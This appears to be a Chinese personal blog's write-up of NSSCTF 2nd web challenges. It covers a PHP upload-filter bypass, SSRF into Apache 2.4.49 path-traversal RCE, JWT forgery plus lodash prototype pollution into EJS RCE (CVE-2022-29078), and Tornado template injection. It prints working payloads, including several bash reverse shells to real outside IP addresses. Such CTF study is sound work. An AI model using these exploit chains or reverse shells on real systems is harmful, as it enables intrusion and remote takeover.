Z1d10tのBlog

A note for myself,have fun!

  1. 1. php签到
  2. 2. 2周年快乐!
  3. 3. MyBox
  4. 4. MyBox(revenge)
  5. 5. MyJs
  6. 6. MyHurricane
    1. 6.1. 非预期
    2. 6.2. 预期

NSSCTF 2nd WP与学习

php签到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

function waf($filename){
$black_list = array("ph", "htaccess", "ini");
$ext = pathinfo($filename, PATHINFO_EXTENSION);
foreach ($black_list as $value) {
if (stristr($ext, $value)){
return false;
}
}
return true;
}

if(isset($_FILES['file'])){
$filename = urldecode($_FILES['file']['name']);
$content = file_get_contents($_FILES['file']['tmp_name']);
if(waf($filename)){
file_put_contents($filename, $content);
} else {
echo "Please re-upload";
}
} else{
highlight_file(__FILE__);
}

一道文件上传的题目,主要就是后缀名怎么去绕过pathinfo()函数

参考以下文章

https://www.freesion.com/article/7470682764/

https://www.anquanke.com/post/id/253383

在操作系统中,都是禁止使用/作为文件名的,但是不知道为什么后面加一个.就可以成功的写入1.php了。

$pathinfo[extension]=pathfo($name,PATHINFO_EXTENSION) 获取文件后缀名时时获取的 . 后面的内容,当出现多个 . 时,结果为最后一个 . 后面的内容。所以可以利用这个特性实现对后缀名检测的绕过。

所以用/.绕过就行 记得要url编码一下

img

img

上传成功后 就是rce即可

2周年快乐!

进入题目中win12系统 用里面的cmd发个curl https://www.nssctf.cn/flag就能在nss站内收到flag邮件了

MyBox

非预期了 直接file:///proc/1/environflag就在环境变量中

MyBox(revenge)

一道gopher协议 打apache2.4.49 ssrf+路径穿越RCE的题目

做题根本想不到

首先file:///app/app.py获得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from flask import Flask, request, redirect
import requests, socket, struct
from urllib import parse
app = Flask(__name__)

@app.route('/')
def index():
if not request.args.get('url'):
return redirect('/?url=dosth')
url = request.args.get('url')
if url.startswith('file://'):
if 'proc' in url or 'flag' in url:
return 'no!'
with open(url[7:], 'r') as f:
data = f.read()
if url[7:] == '/app/app.py':
return data
if 'NSSCTF' in data:
return 'no!'
return data
elif url.startswith('http://localhost/'):
return requests.get(url).text
elif url.startswith('mybox://127.0.0.1:'):
port, content = url[18:].split('/_', maxsplit=1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect(('127.0.0.1', int(port)))
s.send(parse.unquote(content).encode())
res = b''
while 1:
data = s.recv(1024)
if data:
res += data
else:
break
return res
return ''

app.run('0.0.0.0', 827)

先发包看看80端口 偷的大佬的

1
mybox://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AUser-Agent%253A%2520curl/7.43.0%250D%250AAccept%253A%2520%252A/%252A%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25200%250D%250A%250D%250A%250D%250A

img

显示apahce2.4.49 然后是一个gopher+路径穿越rce

参考:https://classic0796.com/index.php/archives/6/

img

可以构造这种请求包来rce

直接用god脚本 不用手动去构造%0D%0A

还有一个小点是那个_ 一定要加不然会将之后数据第一个字符吞了

参考:https://cloud.tencent.com/developer/article/1610645

还有一个小点就是我们都找到三个双引号或者单引号在python中是注释符 但是也可以被当作用来括普通字符串的qwq

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from urllib.parse import quote
test =\
"""POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 127.0.0.1
User-Agent: curl/7.68.0
Content-Length:59

echo;bash -c "bash -i >& /dev/tcp/8.130.34.53/7777 <&1"
"""
#http://node6.anna.nssctf.cn:28949/?url=mybox://127.0.0.1:80/_POST%2520/cgi-bin/.%25252e/.%25252e/.%25252e/.%25252e/bin/sh%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AUser-Agent%253A%2520curl/7.68.0%250D%250AContent-Length%253A59%250D%250A%250D%250Aecho%253Bbash%2520-c%2520%2522bash%2520-i%2520%253E%2526%2520/dev/tcp/114.116.119.253/7777%2520%253C%25261%2522%250D%250A
tmp = quote(test)
new = tmp.replace('%0A','%0D%0A')
print(new)
result='_'+quote(new)
#post
#result = '_'+new
common="gopher://127.0.0.1:80/"
print(quote(common)+result)

MyJs

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
const express = require('express');
const bodyParser = require('body-parser');
const lodash = require('lodash');
const session = require('express-session');
const randomize = require('randomatic');
const jwt = require('jsonwebtoken')
const crypto = require('crypto');
const fs = require('fs');

global.secrets = [];

express()
.use(bodyParser.urlencoded({extended: true}))
.use(bodyParser.json())
.use('/static', express.static('static'))
.set('views', './views')
.set('view engine', 'ejs')
.use(session({
name: 'session',
secret: randomize('a', 16),
resave: true,
saveUninitialized: true
}))
.get('/', (req, res) => {
if (req.session.data) {
res.redirect('/home');
} else {
res.redirect('/login')
}
})
.get('/source', (req, res) => {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync(__filename));
})
.all('/login', (req, res) => {
if (req.method == "GET") {
res.render('login.ejs', {msg: null});
}
if (req.method == "POST") {
const {username, password, token} = req.body;
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
return res.render('login.ejs', {msg: 'login error.'});
}
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: "HS256"});
if (username === user.username && password === user.password) {
req.session.data = {
username: username,
count: 0,
}
res.redirect('/home');
} else {
return res.render('login.ejs', {msg: 'login error.'});
}
}
})
.all('/register', (req, res) => {
if (req.method == "GET") {
res.render('register.ejs', {msg: null});
}
if (req.method == "POST") {
const {username, password} = req.body;
if (!username || username == 'nss') {
return res.render('register.ejs', {msg: "Username existed."});
}
const secret = crypto.randomBytes(16).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret);
const token = jwt.sign({secretid, username, password}, secret, {algorithm: "HS256"});
res.render('register.ejs', {msg: "Token: " + token});
}
})
.all('/home', (req, res) => {
if (!req.session.data) {
return res.redirect('/login');
}
res.render('home.ejs', {
username: req.session.data.username||'NSS',
count: req.session.data.count||'0',
msg: null
})
})
.post('/update', (req, res) => {
if(!req.session.data) {
return res.redirect('/login');
}
if (req.session.data.username !== 'nss') {
return res.render('home.ejs', {
username: req.session.data.username||'NSS',
count: req.session.data.count||'0',
msg: 'U cant change uid'
})
}
let data = req.session.data || {};
req.session.data = lodash.merge(data, req.body);
console.log(req.session.data.outputFunctionName);
res.redirect('/home');
})
.listen(827, '0.0.0.0')

先是ejs空密钥缺陷 先注册获取一个时间戳

img

sid为token中的secretid,直接取数组让其报错为undefined

看大佬师傅的博客是因为jwt空算法攻击导致可伪造

官方:

  1. verify时正确的参数是algorithms而不是algorithm,所以这里本质传了个空加密,导致允许空密钥,我们无须获得JWT密钥(高版本已修改)。
  2. 第二个是关于sid的弱比较,如果只是允许空密钥的话我们不知道secret依然无法verify,这里sid如果传个数组就能轻松绕过判断并且
    img

然后本地构造一个nss账号的token

img

然后登录 可以看到/update路由下存在原型链污染 之后就是去找链子 没找到。。。。低能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
post('/update', (req, res) => {
if(!req.session.data) {
return res.redirect('/login');
}
if (req.session.data.username !== 'nss') {
return res.render('home.ejs', {
username: req.session.data.username||'NSS',
count: req.session.data.count||'0',
msg: 'U cant change uid'
})
}
let data = req.session.data || {};
req.session.data = lodash.merge(data, req.body);
console.log(req.session.data.outputFunctionName);
res.redirect('/home');
})

是高版本ejs3.1.7的链子 终于找到出处了https://inhann.top/2023/03/26/ejs/ 还是个cve 妈的CVE-2022-29078

1
2
3
4
5
6
7
8
9
{"__proto__":{
"settings":{
"view options":{
"escapeFunction":"console.log;this.global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/8.130.34.53/7777 <&1\"');",
"client":"true"
}
}
}
}

成功

img

MyHurricane

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import tornado.ioloop
import tornado.web
import os

BASE_DIR = os.path.dirname(__file__)

def waf(data):
bl = ['\'', '"', '__', '(', ')', 'or', 'and', 'not', '{{', '}}']
for c in bl:
if c in data:
return False
for chunk in data.split():
for c in chunk:
if not (31 < ord(c) < 128):
return False
return True

class IndexHandler(tornado.web.RequestHandler):
def get(self):
with open(__file__, 'r') as f:
self.finish(f.read())
def post(self):
data = self.get_argument("ssti")
if waf(data):
with open('1.html', 'w') as f:
f.write(f"""<html>
<head></head>
<body style="font-size: 30px;">{data}</body></html>
""")
f.flush()
self.render('1.html')
else:
self.finish('no no no')

if __name__ == "__main__":
app = tornado.web.Application([
(r"/", IndexHandler),
], compiled_template_cache=False)
app.listen(827)
tornado.ioloop.IOLoop.current().start()

一眼丁真是tornado的ssti了 payload大致上和我们学习flask ssti一样 都有稍有不同

waf了 ['\'', '"', '__', '(', ')', 'or', 'and', 'not', '{{', '}}']

我死在了括号上 当时在想连括号都waf了 怎么了构造payload啊

之后发现大佬们根本不用括号。。。。

还有就是又有非预期

非预期

直接用文件包含

1
{% extend /proc/self/environ %}

或者

1
{% include /proc/self/environ %}

当然记得url编码打入

预期

还有另一种是god 的payload

1
ssti={%25 set _tt_utf8 =eval %25}{%25 raw request.body_arguments[request.method][0] %25}&POST=__import__('os').popen("bash -c 'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fip%2Fport%20%3C%261'")

这种方法利用了tornado里的变量覆盖,让__tt_utf8为eval,在渲染时时会有__tt_utf8(__tt_tmp)这样的调用,然后让__tt_tmp为恶意字符串就好了,我fuzz了一下,上述payload中raw语句可以给tmp赋值,所以rce

1
{% raw *expr* %}

就是常规的模板语句,只是输出不会被转义

request.body_arguments:request.body_arguments 是 Tornado 框架中的一个属性,用于获取当前 HTTP 请求中的表单数据或URL编码数据。

在 HTTP 请求中,请求体(body)通常用于传输 POST 请求中的表单数据或 URL 编码数据。request.body_arguments 可以解析并返回这些数据的字典形式。

request.method是 Tornado 框架中的一个属性,用于获取当前 HTTP 请求的请求方法

img

来自:https://www.tr0y.wang/2022/08/05/SecMap-SSTI-tornado/#%E5%88%A9%E7%94%A8-httpserverrequest

真的太强了qwq 又学到新姿势了

本文最后更新于 天前,文中所描述的信息可能已发生改变